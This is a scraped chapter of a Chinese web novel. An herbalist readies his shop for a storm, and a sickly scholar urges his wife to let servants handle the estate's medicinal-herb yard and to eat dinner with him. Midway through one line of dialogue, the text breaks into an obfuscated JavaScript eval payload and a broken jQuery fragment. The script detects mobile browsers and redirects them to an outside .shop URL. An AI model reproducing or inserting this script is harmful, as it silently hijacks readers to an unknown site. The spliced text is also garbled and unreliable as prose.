文趣网 > 其他小说 > 被痨病探花郎求娶后 > 14. 三岁小儿郎
    第十四章:

    数日后,刚过大暑的一个晚上,暮色已近全然笼罩了整个村庄,但今夜或许注定不会是一个平静的夜帷。

    因为它不同于寻常晚上的月明星稀,而是乌云滚滚雷声雄浑,云团之中隐隐在作的闪电每次映亮天穹的时刻,都叫人有些触目惊心,依照寻常判断来说,定然会是个大降甘霖的雨夜。

    在上村境内的百草堂中,王吟自然是早早便察觉了这一点,不过今天白日的天气还是烈日当头的,所以他清出了不少药材拿出去晒。

    眼下他在屋中收拾,便叫周明航出去把晒着的药材端回来,见这小子毛手毛脚得进门之后,他便再次冲他确定了一下。

    “小周啊,这外面晒着的药材都收回来了吧?”

    周明航是个习惯懒人挑重担的,这几大簸箕药材他全都一次性叠一起抱进来了,所以不免就会有些吃力,进门放好之后,他放才对王吟故作轻松道,“嗯呢王伯,都收好了。”

    王吟适时抬眼看了下外面黑的吓人的天,心知肚明这怕是又要涨一场不小的水了。

    “看这乌云滚滚的,怕是要下场大雨啊。”

    周明航也抬头望了眼,发现确实这天气极端的叫人有些不容小觑了,他自生下来就是个纯种的城里人,然而在城中心是少于遇见这么严峻的天气的,不由得都觉得有些新鲜。

    “嗯还真是,我在城里都少见这么厚的乌云,看来是要来场猛的。”

    说时迟那时快,还没等周明航话音落下,屋外便开始刮起了一阵妖风,呼啸而过的同时还卷飞了外面许许多多的枯枝烂叶,盘旋在天空之中的样子竟是有种说不出的疏狂之意。

    周明航眼见着这一幕,不禁有点对王吟这其貌不扬的小铺子表示出了由衷的担忧。

    “王伯,你这百草堂抗住大风吧?到时候把门檐都刮飞了那可就有的看了哈。”

    老实说,王吟的内心也是有点发怵的,但他和他的百草堂也不是什么没见过场面的脆饼,不至于说一阵风就能给他拔地而起的。

    “嘿,你这小破孩子,能盼你王伯点儿好不?我这百草堂好歹也是个开了十多二十年了老铺子了,什么风吹日晒没经历过,还真就没出过啥事儿,你小子只管放心就行了。”

    周明航也是很配合,明知道王吟不会生他的气,还是装作害怕的连忙哄了王吟两句。

    “啊那就好,您别生气嘛,我这不关心咱们百草堂嘛,关心则乱,关心则乱嘛。”

    王吟故作哼哼两声,“哼,算你小子有点良心。”

    与此同时,位于下村境内的凤府东厢房内,已是归于阒静灯火通明,也正是直至这时,韩心然方才姗姗归来。

    彼时凤瑜还在屋中有一搭没一搭的温书,后面听见动静,方才看见他在心中期盼许久的人终于出现在了眼前。

    凤瑜这才堪堪放下书页,连忙凑到了韩心然的跟前。

    “心然,你回来了。”

    韩心然见他好似一直在等自己,心下久违地涌动出了一股春风化雨般的暖意,不过面色上却仍然是不显端倪的,“嗯。”

    凤瑜自她一进门,便嗅到了她身上那股都可以称之为刺鼻的药草气息,这下可以说是直接笃定了韩心然此番的去处了的。

    “你这是又去药场了啊?”

    韩心然的眼神里似乎是透露了某种疑惑与惊讶,不过她也没问凤瑜具体是怎么知晓的,只是据实回应道。

    “对,我这个天气像是要下雨了,就去帮忙查看了下会不会有漏雨的迹象,怕潮到药材。”

    凤瑜将他细致地领到了屋中的围桌前落座,而后再温声和气地冲她阐述了一件事。

    “你可真是细致,不过不必担心,我们家的地势在整个齐阳县内都并不算低,防潮方法也可以说是独领一方的存在,不然也做不到足以垄断本地。”

    他对他们家药场的这点底气都还是有的,放眼十多年前,就从他记事开始,他们村乃至齐阳县也出现过大大小小各不相等的大雨洪涝事件,可不出意外的,他们家每次都是得天眷顾幸免于难了的,所以他才会选择来打消韩心然的这个疑虑。

    “所以以后,你不用再为这些事来回奔走了,何况药场那里那么多人守着呢,真有什么事,也是可以应付的过来的。”

    韩心然听凤瑜这话,便就算是再傻也可以听得出来,他这是在点自己去干了半天的无用功。

    虽然她也没有什么埋怨的意思,只是觉得想确定一下真相。

    “所以我这是,又白忙活了一场吗?”

    凤瑜听她这么说,霎时又有些开始心疼了起来,他自然不愿当场明言去打击他,于是便委婉的调转了话头。

    “那你不妨和我说说,你去都做了些什么吧?”

    韩心然试着设想了一下,如果真照凤瑜那样说的话,那确实她此番这些忙活都是并没有多少作用的。

    “算下来确实也没做些很有意义的事,不过既然你都这么说了,想来便真的是多此一举吧。”

    凤瑜继续问询道,“比如呢?

    韩心然其实对于怎样防水防潮的事情,也不能说有多少经验,因为她清楚,自己这些方法跟干了这么多年药材生意的凤府相比较起来,自然是微不足道的。

    但既然他问起来了,那自己也只能先给凤瑜列举出了几个。

    “我让人将场地里铺在下层的药材全都收到了高层上面,然后再把收尾的疏水通道都清扫了下,再多铺了层石灰和干沙砾之类的,都是些常规之事。”

    凤瑜听了,发现这确实是他们家之前平常都会做的一些事情,只是说除了把药草全部堆高这一点没有做到。

    毕竟就像他说的,之前他们家药材居多的时候,那是塞的连个人都过不了的,那又何谈去堆叠起来呢?根本就没有一点多余的空间。

    不过眼下韩心然所做的或许也是对的,毕竟他们家现在这段时间因为自己的病,所以生意是已经被消耗地比较没落了,那么有把它们放高点的条件,也自然是可以放高点的。

    于是凤瑜打心眼里来说,还是很认可韩心然的这个举动的,“嗯,那你做的这些事还是很有意义的。”

    然后他觉得,怕韩心然会曲解了自己的意思,所以他又选择在冲她仔细的解释了一下。

    “心然,我方才说那些的主要目的,其实是我希望你可以不用那么事事亲力亲为那么劳累,你现在是我们凤府的少夫人,你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836442|211446||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有权利吩咐下去,让仆从们直接做就行了,不用还要事事亲临到场的做表彰。”

    “而仆从们我们也是开了相应的报酬的,所以你让他们帮忙都是理所应当的,不用感到于心不忍。”

    其实说白了,凤瑜铺成那么多,也无非只是想把她能多留在自己的东厢房内陪陪自己而已。

    但要他这样明说,那他肯定还是做不到的,像自己有病似的。

    所以,凤瑜还是只有在换另一种方式,来多挽留一下韩心然。

    他其实自韩心然进门那一刻起,就看见了她现在身上略微有些脏乱的发与衣,再联系起她平常的为人,自然很是轻松的就猜到了她为什么今天会在药场上耽搁那么久才回家的原因。

    凤瑜轻轻挑了挑细长的眉毛,虽然眉眼间带了一股明知故问的戏谑,不过是个明眼人都能看得出来,那里面饱含着的却满是疼惜与宠溺。

    “我猜,你忙到现在才回来,便就是因为你一直都在引领着他们一起在忙活吧?”

    韩心然淡然地点点头。

    “嗯,但我左右也没帮上什么忙,更多的都是他们在做,所以没事的。”

    凤瑜便冲他继续举了几个例子。

    “好,反正以后府内大小事宜,你都可以习惯着就在府里下达命令即可,你想呀,若是事事都要自己亲手上的话,那之后事情一多起来,你不就分身乏术了吗?”

    “你现在可是我们凤府主人中的一份子,要是你自己的身体垮掉了,那可怎么行呢?”

    韩心然知道,凤瑜这样好说歹说应该也都是觉得担心自己的身体,她虽然不确定她下一次能不能就此做到,但她还是选择了先答应凤瑜。

    “好,我知道了,以后我会慢慢习惯。”

    凤瑜私心得逞,便再难掩饰的冲着韩心然笑了笑,随后想到她这样忙忙碌碌了一个下午,以她的性格,定然是不可能还记得有别事儿还没做的。

    “嗯,这就对了,你忙了这么一下午,还没吃饭吧?”

    韩心然一听,这才后知后觉的发现,“嗯。”

    好在凤瑜已经提前预知了,他冲着在旁侍立的丫鬟挥一挥手,丫鬟们便十分有条理的下去,将膳房中温着的饭菜重新盛了上来。

    “幸好我还让人备了点吃的,呈上来吧。”

    韩心然望着这满桌的琳琅菜式,内心却想到了一个与这截然不同的细节。

    “你是不是,也没吃?”

    凤瑜也没客气,一口就咬定回答了。

    “嗯,我等着你呢。”

    不为别的,就为他真的不想韩心然以后再这样,一声不吭的消失就是大半天了。

    出于某种私心来说,他就想这样悄悄的给她一个小教训,虽然他不舍得惩罚她,那就惩罚惩罚他自己呗。

    “所以啊以后你可不要再这样什么事儿都自己冲上去不管不顾的做了,你看,这让独自在家里等你的我可怎么办呀,我连饭都吃不下呢。”

    韩心然对于此人这种突如其来又炉火纯青的耍赖功夫,一时都不知道该怎么应对,这样看,对坐在在她面前的哪里像是当今圣上的御笔亲封的探花郎,分明就是一个三岁小儿。

    “这……”